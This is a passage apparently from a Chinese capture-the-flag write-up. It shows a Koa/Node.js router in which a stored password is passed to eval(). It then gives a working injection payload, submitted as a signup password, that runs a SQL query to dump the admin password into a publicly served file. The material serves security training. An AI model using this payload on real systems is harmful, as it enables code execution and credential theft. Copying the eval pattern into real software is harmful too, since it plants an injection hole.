  		code:'404',
  		msg:'login failed'
  	};
  }
  
});
router.post('/signup',async(ctx,next)=>{
	  const username = ctx.request.body.username;
	  const password = ctx.request.body.password;
	  if(username=='admin'){
	  	ctx.body={
  		code:'403',
  		msg:'you are not admin'
  		};
	  	return;
	  }
	  const u = await User.create({username:username,password:password})
	  ctx.body={
	  	code:0,
	  	msg:'注册成功'
	  }
});
router.get('/user/:id',async(ctx,next)=>{
	const id=ctx.params.id;
	if(id==1){
	  	ctx.body={
  		code:'403',
  		msg:'非管理员无权查看'
  		};
	  	return;
	  }
	const user = await User.findAll({
		where:{
			id:id
		}
	});
	if(user!==undefined){
		ctx.body='<h3>Hello '+user[0].username+'</h3> your name is: '+user[0].username+' your id is: '+user[0].id+ ' your password is: '+eval('md5('+user[0].password+')');
	}else{
		ctx.render('/');
	}
});
module.exports = router

在查看 userid 的地方可以看到这样一句

ctx.body='<h3>Hello '+user[0].username+'</h3> your name is: '+user[0].username+' your id is: '+user[0].id+ ' your password is: '+eval('md5('+user[0].password+')');

这里代码注入,闭合前后内容,进行一个代码执行,这里因为代码中 you are not admin,肯定是要拿到一个管理员的权限,或者是拿到管理员的账号

image-20230720185955618

这里它是连接数据库的类,构造一个查询,获取管理员的密码

2);const init=async()=>{await User.sequelize.query("select password from Users where username='admin' into outfile '/app/public/1.txt';",{type:User.sequelize.SELECT});};init(

将其作为密码注册账号,然后访问 user/10

image-20230720190129093

接着访问 1.txt

image-20230720190223493